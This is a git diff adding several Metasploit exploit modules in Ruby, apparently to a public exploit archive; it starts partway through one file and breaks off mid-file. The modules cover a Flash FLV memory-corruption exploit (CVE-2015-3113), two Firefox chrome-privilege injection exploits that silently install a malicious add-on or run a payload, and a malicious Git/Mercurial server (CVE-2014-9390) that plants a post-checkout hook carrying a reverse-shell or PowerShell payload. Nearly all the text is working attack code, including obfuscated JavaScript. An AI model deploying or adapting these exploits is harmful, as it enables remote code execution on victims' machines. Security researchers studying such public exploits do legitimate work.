+ Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.160,
+ Windows 8.1, Firefox 38.0.5 and Adobe Flash 18.0.0.160,
+ Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.466, and
+ Ubuntu 14.04.2 LTS, Firefox 35.01, and Adobe Flash 11.2.202.466.
+ Note that this exploit is effective against both CVE-2015-3113 and the
+ earlier CVE-2015-3043, since CVE-2015-3113 is effectively a regression
+ to the same root cause as CVE-2015-3043.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Unknown', # Exploit in the wild
+ 'juan vazquez' # msf module
+ ],
+ 'References' =>
+ [
+ ['CVE', '2015-3043'],
+ ['CVE', '2015-3113'],
+ ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-06.html'],
+ ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-14.html'],
+ ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-zero-day-shares-same-root-cause-as-older-flaws/'],
+ ['URL', 'http://malware.dontneedcoffee.com/2015/06/cve-2015-3113-flash-up-to-1800160-and.html'],
+ ['URL', 'http://bobao.360.cn/learning/detail/357.html']
+ ],
+ 'Payload' =>
+ {
+ 'DisableNops' => true
+ },
+ 'Platform' => ['win', 'linux'],
+ 'Arch' => [ARCH_X86],
+ 'BrowserRequirements' =>
+ {
+ :source => /script|headers/i,
+ :arch => ARCH_X86,
+ :os_name => lambda do |os|
+ os =~ OperatingSystems::Match::LINUX ||
+ os =~ OperatingSystems::Match::WINDOWS_7 ||
+ os =~ OperatingSystems::Match::WINDOWS_81
+ end,
+ :ua_name => lambda do |ua|
+ case target.name
+ when 'Windows'
+ return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF
+ when 'Linux'
+ return true if ua == Msf::HttpClients::FF
+ end
+
+ false
+ end,
+ :flash => lambda do |ver|
+ case target.name
+ when 'Windows'
+ return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.161')
+ return true if ver =~ /^17\./ && Gem::Version.new(ver) != Gem::Version.new('17.0.0.169')
+ when 'Linux'
+ return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.466') && Gem::Version.new(ver) != Gem::Version.new('11.2.202.457')
+ end
+
+ false
+ end
+ },
+ 'Targets' =>
+ [
+ [ 'Windows',
+ {
+ 'Platform' => 'win'
+ }
+ ],
+ [ 'Linux',
+ {
+ 'Platform' => 'linux'
+ }
+ ]
+ ],
+ 'Privileged' => false,
+ 'DisclosureDate' => 'Jun 23 2015',
+ 'DefaultTarget' => 0))
+ end
+
+ def exploit
+ @swf = create_swf
+ @flv = create_flv
+
+ super
+ end
+
+ def on_request_exploit(cli, request, target_info)
+ print_status("Request: #{request.uri}")
+
+ if request.uri =~ /\.swf$/
+ print_status('Sending SWF...')
+ send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
+ return
+ end
+
+ if request.uri =~ /\.flv$/
+ print_status('Sending FLV...')
+ send_response(cli, @flv, {'Content-Type'=>'video/x-flv', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
+ return
+ end
+
+ print_status('Sending HTML...')
+ send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
+ end
+
+ def exploit_template(cli, target_info)
+ swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
+ target_payload = get_payload(cli, target_info)
+ b64_payload = Rex::Text.encode_base64(target_payload)
+ os_name = target_info[:os_name]
+
+ if target.name =~ /Windows/
+ platform_id = 'win'
+ elsif target.name =~ /Linux/
+ platform_id = 'linux'
+ end
+
+ html_template = %Q|
+
+
+
+
+
+
+
+
+
+
+ |
+
+ return html_template, binding()
+ end
+
+ def create_swf
+ path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3113', 'msf.swf')
+ swf = ::File.open(path, 'rb') { |f| swf = f.read }
+
+ swf
+ end
+
+ def create_flv
+ header = ''
+ header << 'FLV' # signature
+ header << [1].pack('C') # version
+ header << [4].pack('C') # Flags: TypeFlagsAudio
+ header << [9].pack('N') # DataOffset
+
+ data = ''
+ data << "\x68" # fmt = 6 (Nellymoser), SoundRate: 2, SoundSize: 0, SoundType: 0
+ data << "\xee" * 0x440 # SoundData
+
+ tag1 = ''
+ tag1 << [8].pack('C') # TagType (audio)
+ tag1 << "\x00\x04\x41" # DataSize
+ tag1 << "\x00\x00\x1a" # TimeStamp
+ tag1 << [0].pack('C') # TimeStampExtended
+ tag1 << "\x00\x00\x00" # StreamID, always 0
+ tag1 << data
+
+ body = ''
+ body << [0].pack('N') # PreviousTagSize
+ body << tag1
+ body << [0xeeeeeeee].pack('N') # PreviousTagSize
+
+ flv = ''
+ flv << header
+ flv << body
+
+ flv
+ end
+end
\ No newline at end of file
diff --git a/platforms/multiple/local/41682.rb b/platforms/multiple/local/41682.rb
new file mode 100755
index 000000000..259883c6e
--- /dev/null
+++ b/platforms/multiple/local/41682.rb
@@ -0,0 +1,138 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::BrowserExploitServer
+ include Msf::Exploit::Remote::BrowserAutopwn
+ include Msf::Exploit::Remote::FirefoxAddonGenerator
+
+ autopwn_info({
+ :ua_name => HttpClients::FF,
+ :ua_minver => "5.0",
+ :ua_maxver => "15.0.1",
+ :javascript => true,
+ :rank => NormalRanking
+ })
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution',
+ 'Description' => %q{
+ On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given
+ invalid input, would throw an exception that did not have an __exposedProps__
+ property set. By re-setting this property on the exception object's prototype,
+ the chrome-based defineProperty method is made available.
+ With the defineProperty method, functions belonging to window and document can be
+ overriden with a function that gets called from chrome-privileged context. From here,
+ another vulnerability in the crypto.generateCRMFRequest function is used to "peek"
+ into the context's private scope. Since the window does not have a chrome:// URL,
+ the insecure parts of Components.classes are not available, so instead the AddonManager
+ API is invoked to silently install a malicious plugin.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' => [
+ 'Mariusz Mlynski', # discovered CVE-2012-3993
+ 'moz_bug_r_a4', # discovered CVE-2013-1710
+ 'joev' # metasploit module
+ ],
+ 'DisclosureDate' => "Aug 6 2013",
+ 'References' => [
+ ['CVE', '2012-3993'], # used to install function that gets called from chrome:// (ff<15)
+ ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'],
+ ['CVE', '2013-1710'], # used to peek into privileged caller's closure (ff<23)
+ ],
+ 'BrowserRequirements' => {
+ :source => 'script',
+ :ua_name => HttpClients::FF,
+ :ua_ver => lambda { |ver| ver.to_i.between?(5, 15) }
+ }
+ ))
+
+ register_options([
+ OptString.new('CONTENT', [ false, "Content to display inside the HTML .", '' ] )
+ ], self.class)
+ end
+
+ def on_request_exploit(cli, request, target_info)
+ if request.uri.match(/\.xpi$/i)
+ print_status("Sending the malicious addon")
+ send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' })
+ else
+ print_status("Sending HTML")
+ res = generate_html(target_info,request.headers['Host'])
+ vprint_status res.to_s
+ send_response_html(cli, res)
+ end
+ end
+
+ def generate_html(target_info,refer)
+ injection = if target_info[:ua_ver].to_i == 15
+ "Function.prototype.call.call(p.__defineGetter__,obj,key,runme);"
+ else
+ "p2.constructor.defineProperty(obj,key,{get:runme});"
+ end
+
+ if refer.nil? or refer.blank?
+ redirect = "#{get_module_uri}/addon.xpi"
+ else
+ proto = ((datastore['SSL']) ? 'https' : 'http')
+ redirect = "#{proto}://#{refer}#{get_module_resource}addon.xpi"
+ end
+
+ script = js_obfuscate %Q|
+ try{InstallTrigger.install(0)}catch(e){p=e;};
+ var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
+ p2.__exposedProps__={
+ constructor:'rw',
+ prototype:'rw',
+ defineProperty:'rw',
+ __exposedProps__:'rw'
+ };
+ var s = document.querySelector('#payload').innerHTML;
+ var q = false;
+ var register = function(obj,key) {
+ var runme = function(){
+ if (q) return;
+ q = true;
+ window.crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, s, 384, null, "rsa-ex");
+ };
+ try {
+ #{injection}
+ } catch (e) {}
+ };
+ for (var i in window) register(window, i);
+ for (var i in document) register(document, i);
+ |
+
+ js_payload = js_obfuscate %Q|
+ if (!window.done) {
+ window.AddonManager.getInstallForURL(
+ '#{redirect}',
+ function(install) { install.install() },
+ 'application/x-xpinstall'
+ );
+ window.done = true;
+ }
+ |
+
+ %Q|
+
+
+ #{datastore['CONTENT']}
+
+ #{js_payload}
+
+
+
+
+ |
+ end
+end
diff --git a/platforms/multiple/local/41683.rb b/platforms/multiple/local/41683.rb
new file mode 100755
index 000000000..d925531a1
--- /dev/null
+++ b/platforms/multiple/local/41683.rb
@@ -0,0 +1,179 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::BrowserExploitServer
+ include Msf::Exploit::EXE
+ # include Msf::Exploit::Remote::BrowserAutopwn
+ include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
+
+ # autopwn_info({
+ # :ua_name => HttpClients::FF,
+ # :ua_minver => "17.0",
+ # :ua_maxver => "17.0.1",
+ # :javascript => true,
+ # :rank => NormalRanking
+ # })
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Firefox 17.0.1 Flash Privileged Code Injection',
+ 'Description' => %q{
+ This exploit gains remote code execution on Firefox 17 and 17.0.1, provided
+ the user has installed Flash. No memory corruption is used.
+ First, a Flash object is cloned into the anonymous content of the SVG
+ "use" element in the (CVE-2013-0758). From there, the Flash object
+ can navigate a child frame to a URL in the chrome:// scheme.
+ Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
+ around the child frame's window reference and inject code into the chrome://
+ context. Once we have injection into the chrome execution context, we can write
+ the payload to disk, chmod it (if posix), and then execute.
+ Note: Flash is used here to trigger the exploit but any Firefox plugin
+ with script access should be able to trigger it.
+ },
+ 'License' => MSF_LICENSE,
+ 'Targets' => [
+ [
+ 'Universal (Javascript XPCOM Shell)', {
+ 'Platform' => 'firefox',
+ 'Arch' => ARCH_FIREFOX
+ }
+ ],
+ [
+ 'Native Payload', {
+ 'Platform' => %w{ java linux osx solaris win },
+ 'Arch' => ARCH_ALL
+ }
+ ]
+ ],
+ 'DefaultTarget' => 0,
+ 'Author' =>
+ [
+ 'Marius Mlynski', # discovery & bug report
+ 'joev', # metasploit module
+ 'sinn3r' # metasploit fu
+ ],
+ 'References' =>
+ [
+ ['CVE', '2013-0758'], # navigate a frame to a chrome:// URL
+ ['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome://
+ ['OSVDB', '89019'], # maps to CVE 2013-0757
+ ['OSVDB', '89020'], # maps to CVE 2013-0758
+ ['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
+ ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
+ ],
+ 'DisclosureDate' => 'Jan 08 2013',
+ 'BrowserRequirements' => {
+ :source => 'script',
+ :ua_name => HttpClients::FF,
+ :ua_ver => /17\..*/,
+ :flash => /[\d.]+/
+ }
+ ))
+
+ register_options(
+ [
+ OptString.new('CONTENT', [ false, "Content to display inside the HTML .", '' ] ),
+ OptBool.new('DEBUG_JS', [false, "Display some alert()'s for debugging the payload.", false])
+ ], Auxiliary::Timed)
+
+ end
+
+ def on_request_exploit(cli, request, info)
+ if request.uri =~ /\.swf$/
+ # send Flash .swf for navigating the frame to chrome://
+ print_status("Sending .swf trigger.")
+ send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
+ else
+ # send initial HTML page
+ print_status("Target selected: #{target.name}")
+ print_status("Sending #{self.name}")
+ send_response_html(cli, generate_html(cli, target))
+ end
+ end
+
+ # @return [String] the contents of the .swf file used to trigger the exploit
+ def flash_trigger
+ swf_path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0758.swf")
+ @flash_trigger ||= File.read(swf_path)
+ end
+
+ # @return [String] containing javascript that will alert a debug string
+ # if the DEBUG is set to true
+ def js_debug(str, quote="'")
+ if datastore['DEBUG_JS'] then "alert(#{quote}#{str}#{quote})" else '' end
+ end
+
+ # @return [String] HTML that is sent in the first response to the client
+ def generate_html(cli, target)
+ vars = {
+ :symbol_id => 'a',
+ :random_domain => 'safe',
+ :payload => run_payload, # defined in FirefoxPrivilegeEscalation mixin
+ :payload_var => 'c',
+ :payload_key => 'k',
+ :payload_obj_var => 'payload_obj',
+ :interval_var => 'itvl',
+ :access_string => 'access',
+ :frame_ref => 'frames[0]',
+ :frame_name => 'n',
+ :loader_path => "#{get_module_uri}.swf",
+ :content => self.datastore['CONTENT'] || ''
+ }
+ script = js_obfuscate %Q|
+ var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
+ var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
+ function $() {
+ document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
+ }
+ function _() {
+ return '#{vars[:frame_name]}';
+ }
+ var #{vars[:interval_var]} = setInterval(function(){
+ try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
+ catch(e){
+ clearInterval(#{vars[:interval_var]});
+ var p = Object.getPrototypeOf(#{vars[:frame_ref]});
+ var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
+ Object.prototype.__lookupSetter__("__proto__").call(p, o);
+ p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
+ }
+ }, 100);
+ document.querySelector('object').data = "#{vars[:loader_path]}";
+ document.querySelector('use').setAttributeNS(
+ "http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
+ );
+ |
+
+ %Q|
+
+
+
+
+
+
+
+
+
+ #{vars[:content]}
+
+
+ |
+ end
+end
\ No newline at end of file
diff --git a/platforms/multiple/remote/41684.rb b/platforms/multiple/remote/41684.rb
new file mode 100755
index 000000000..b090aa52d
--- /dev/null
+++ b/platforms/multiple/remote/41684.rb
@@ -0,0 +1,374 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpServer
+ include Msf::Exploit::Powershell
+
+ def initialize(info = {})
+ super(update_info(
+ info,
+ 'Name' => 'Malicious Git and Mercurial HTTP Server For CVE-2014-9390',
+ 'Description' => %q(
+ This module exploits CVE-2014-9390, which affects Git (versions less
+ than 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial (versions
+ less than 3.2.3) and describes three vulnerabilities.
+ On operating systems which have case-insensitive file systems, like
+ Windows and OS X, Git clients can be convinced to retrieve and
+ overwrite sensitive configuration files in the .git
+ directory which can allow arbitrary code execution if a vulnerable
+ client can be convinced to perform certain actions (for example,
+ a checkout) against a malicious Git repository.
+ A second vulnerability with similar characteristics also exists in both
+ Git and Mercurial clients, on HFS+ file systems (Mac OS X) only, where
+ certain Unicode codepoints are ignorable.
+ The third vulnerability with similar characteristics only affects
+ Mercurial clients on Windows, where Windows "short names"
+ (MS-DOS-compatible 8.3 format) are supported.
+ Today this module only truly supports the first vulnerability (Git
+ clients on case-insensitive file systems) but has the functionality to
+ support the remaining two with a little work.
+ ),
+ 'License' => MSF_LICENSE,
+ 'Author' => [
+ 'Jon Hart ' # metasploit module
+ ],
+ 'References' =>
+ [
+ ['CVE', '2014-9390'],
+ ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/01/01/12-days-of-haxmas-exploiting-cve-2014-9390-in-git-and-mercurial'],
+ ['URL', 'http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html'],
+ ['URL', 'http://article.gmane.org/gmane.linux.kernel/1853266'],
+ ['URL', 'https://github.com/blog/1938-vulnerability-announced-update-your-git-clients'],
+ ['URL', 'https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/'],
+ ['URL', 'http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_.282014-12-18.29'],
+ ['URL', 'http://selenic.com/repo/hg-stable/rev/c02a05cc6f5e'],
+ ['URL', 'http://selenic.com/repo/hg-stable/rev/6dad422ecc5a']
+
+ ],
+ 'DisclosureDate' => 'Dec 18 2014',
+ 'Targets' =>
+ [
+ [
+ 'Automatic',
+ {
+ 'Platform' => [ 'unix' ],
+ 'Arch' => ARCH_CMD,
+ 'Payload' =>
+ {
+ 'Compat' =>
+ {
+ 'PayloadType' => 'cmd cmd_bash',
+ 'RequiredCmd' => 'generic bash-tcp perl'
+ }
+ }
+ }
+ ],
+ [
+ 'Windows Powershell',
+ {
+ 'Platform' => [ 'windows' ],
+ 'Arch' => [ARCH_X86, ARCH_X64]
+ }
+ ]
+ ],
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ OptBool.new('GIT', [true, 'Exploit Git clients', true])
+ ]
+ )
+
+ register_advanced_options(
+ [
+ OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
+ OptString.new('MERCURIAL_URI', [false, 'The URI to use as the malicious Mercurial instance (empty for random)', '']),
+ OptString.new('GIT_HOOK', [false, 'The Git hook to use for exploitation', 'post-checkout']),
+ OptString.new('MERCURIAL_HOOK', [false, 'The Mercurial hook to use for exploitation', 'update']),
+ OptBool.new('MERCURIAL', [false, 'Enable experimental Mercurial support', false])
+ ]
+ )
+ end
+
+ def setup
+ # the exploit requires that we act enough like a real Mercurial HTTP instance,
+ # so we keep a mapping of all of the files and the corresponding data we'll
+ # send back along with a trigger file that signifies that the git/mercurial
+ # client has fetched the malicious content.
+ @repo_data = {
+ git: { files: {}, trigger: nil },
+ mercurial: { files: {}, trigger: nil }
+ }
+
+ unless datastore['GIT'] || datastore['MERCURIAL']
+ fail_with(Failure::BadConfig, 'Must specify at least one GIT and/or MERCURIAL')
+ end
+
+ setup_git
+ setup_mercurial
+
+ super
+ end
+
+ def setup_git
+ return unless datastore['GIT']
+ # URI must start with a /
+ unless git_uri && git_uri =~ /^\//
+ fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
+ end
+ # sanity check the malicious hook:
+ if datastore['GIT_HOOK'].blank?
+ fail_with(Failure::BadConfig, 'GIT_HOOK must not be blank')
+ end
+
+ # In .git/hooks/ directory, specially named files are shell scripts that
+ # are executed when particular events occur. For example, if
+ # .git/hooks/post-checkout was an executable shell script, a git client
+ # would execute that file every time anything is checked out. There are
+ # various other files that can be used to achieve similar goals but related
+ # to committing, updating, etc.
+ #
+ # This vulnerability allows a specially crafted file to bypass Git's
+ # blacklist and overwrite the sensitive .git/hooks/ files which can allow
+ # arbitrary code execution if a vulnerable Git client can be convinced to
+ # interact with a malicious Git repository.
+ #
+ # This builds a fake git repository using the knowledge from:
+ #
+ # http://schacon.github.io/gitbook/7_how_git_stores_objects.html
+ # http://schacon.github.io/gitbook/7_browsing_git_objects.html
+ case target.name
+ when 'Automatic'
+ full_cmd = "#!/bin/sh\n#{payload.encoded}\n"
+ when 'Windows Powershell'
+ psh = cmd_psh_payload(payload.encoded,
+ payload_instance.arch.first,
+ remove_comspec: true,
+ encode_final_payload: true)
+ full_cmd = "#!/bin/sh\n#{psh}"
+ end
+
+ sha1, content = build_object('blob', full_cmd)
+ trigger = "/objects/#{get_path(sha1)}"
+ @repo_data[:git][:trigger] = trigger
+ @repo_data[:git][:files][trigger] = content
+ # build tree that points to the blob
+ sha1, content = build_object('tree', "100755 #{datastore['GIT_HOOK']}\0#{[sha1].pack('H*')}")
+ @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
+ # build a tree that points to the hooks directory in which the hook lives, called hooks
+ sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}")
+ @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
+ # build a tree that points to the partially uppercased .git directory in
+ # which hooks live
+ variants = []
+ %w(g G). each do |g|
+ %w(i I).each do |i|
+ %w(t T).each do |t|
+ git = g + i + t
+ variants << git unless git.chars.none? { |c| c == c.upcase }
+ end
+ end
+ end
+ git_dir = '.' + variants.sample
+ sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}")
+ @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
+ # build the supposed commit that dropped this file, which has a random user/company
+ email = Rex::Text.rand_mail_address
+ first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
+ full_name = "#{first.capitalize} #{last.capitalize}"
+ tstamp = Time.now.to_i
+ author_time = rand(tstamp)
+ commit_time = rand(author_time)
+ tz_off = rand(10)
+ commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
+ "committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
+ "\n" \
+ "Initial commit to open git repository for #{company}!\n"
+ if datastore['VERBOSE']
+ vprint_status("Malicious Git commit of #{git_dir}/#{datastore['GIT_HOOK']} is:")
+ commit.each_line { |l| vprint_status(l.strip) }
+ end
+ sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
+ @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
+ # build HEAD
+ @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
+ # lastly, build refs
+ @repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
+ end
+
+ def setup_mercurial
+ return unless datastore['MERCURIAL']
+ # URI must start with a /
+ unless mercurial_uri && mercurial_uri =~ /^\//
+ fail_with(Failure::BadConfig, 'MERCURIAL_URI must start with a /')
+ end
+ # sanity check the malicious hook
+ if datastore['MERCURIAL_HOOK'].blank?
+ fail_with(Failure::BadConfig, 'MERCURIAL_HOOK must not be blank')
+ end
+ # we fake the Mercurial HTTP protocol such that we are compliant as possible but
+ # also as simple as possible so that we don't have to support all of the protocol
+ # complexities. Taken from:
+ # http://mercurial.selenic.com/wiki/HttpCommandProtocol
+ # http://selenic.com/hg/file/tip/mercurial/wireproto.py
+ @repo_data[:mercurial][:files]['?cmd=capabilities'] = 'heads getbundle=HG10UN'
+ fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814'
+ @repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n"
+ # TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat
+ @repo_data[:mercurial][:files]["?cmd=getbundle&common=#{'0' * 40}&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo")
+
+ # TODO: finish building the fake repository
+ end
+
+ # Build's a Git object
+ def build_object(type, content)
+ # taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
+ header = "#{type} #{content.size}\0"
+ store = header + content
+ [Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
+ end
+
+ # Returns the Git object path name that a file with the provided SHA1 will reside in
+ def get_path(sha1)
+ sha1[0...2] + '/' + sha1[2..40]
+ end
+
+ def exploit
+ super
+ end
+
+ def primer
+ # add the git and mercurial URIs as necessary
+ if datastore['GIT']
+ hardcoded_uripath(git_uri)
+ print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}")
+ end
+ if datastore['MERCURIAL']
+ hardcoded_uripath(mercurial_uri)
+ print_status("Malicious Mercurial URI is #{URI.parse(get_uri).merge(mercurial_uri)}")
+ end
+ end
+
+ # handles routing any request to the mock git, mercurial or simple HTML as necessary
+ def on_request_uri(cli, req)
+ # if the URI is one of our repositories and the user-agent is that of git/mercurial
+ # send back the appropriate data, otherwise just show the HTML version
+ if (user_agent = req.headers['User-Agent'])
+ if datastore['GIT'] && user_agent =~ /^git\// && req.uri.start_with?(git_uri)
+ do_git(cli, req)
+ return
+ elsif datastore['MERCURIAL'] && user_agent =~ /^mercurial\// && req.uri.start_with?(mercurial_uri)
+ do_mercurial(cli, req)
+ return
+ end
+ end
+
+ do_html(cli, req)
+ end
+
+ # simulates a Git HTTP server
+ def do_git(cli, req)
+ # determine if the requested file is something we know how to serve from our
+ # fake repository and send it if so
+ req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
+ if @repo_data[:git][:files].key?(req_file)
+ vprint_status("Sending Git #{req_file}")
+ send_response(cli, @repo_data[:git][:files][req_file])
+ if req_file == @repo_data[:git][:trigger]
+ vprint_status("Trigger!")
+ # Do we need this? If so, how can I update the payload which is in a file which
+ # has already been built?
+ # regenerate_payload
+ handler(cli)
+ end
+ else
+ vprint_status("Git #{req_file} doesn't exist")
+ send_not_found(cli)
+ end
+ end
+
+ # simulates an HTTP server with simple HTML content that lists the fake
+ # repositories available for cloning
+ def do_html(cli, _req)
+ resp = create_response
+ resp.body = <
+ Public Repositories
+
+